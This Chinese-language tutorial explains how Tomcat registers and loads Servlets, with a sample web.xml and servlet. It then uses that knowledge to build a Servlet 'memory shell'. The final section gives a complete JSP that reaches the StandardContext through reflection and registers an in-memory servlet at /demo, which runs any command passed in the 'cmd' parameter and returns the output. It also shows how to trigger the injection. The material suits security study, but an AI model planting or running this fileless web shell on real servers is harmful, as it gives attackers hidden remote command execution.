Servlet
代码语言:html复制web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="false"
>
<!--注册Servlet-->
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>com.naihe2.testServlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>
代码语言:java复制testServlet
package com.naihe2;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class testServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("123");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
分析Servlet生成
读取web.xml ContextConfig#webConfig()
在这里对其xml文件进行读取
ContextConfig#configureContext()
遍历webxml中的内容,将内容赋给新创建的Wrapper
将类名添加到Wrapper
将Wrapper添加到context中
StandardContext.createWapper()
在这里添加映射关系, 将 url 路径和 servlet 类做映射。
加载Servlet
遍历内容,比添加到StandardContext的list中
这里判断loadOnStartup是否大于0,如果大于才会添加
standardWrapper中的loadOnStatup默认为-1
在servlet的配置当中,<load-on-startup>1</load-on-startup>的含义是:
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。
由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载
遍历list,加载wrapper
Servlet内存马
代码语言:java复制<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
};
//获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = stdcontext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/demo", name);
%>
</body>
</html>
直接访问demo发现404
访问index.jsp注入内存马
再次访问demo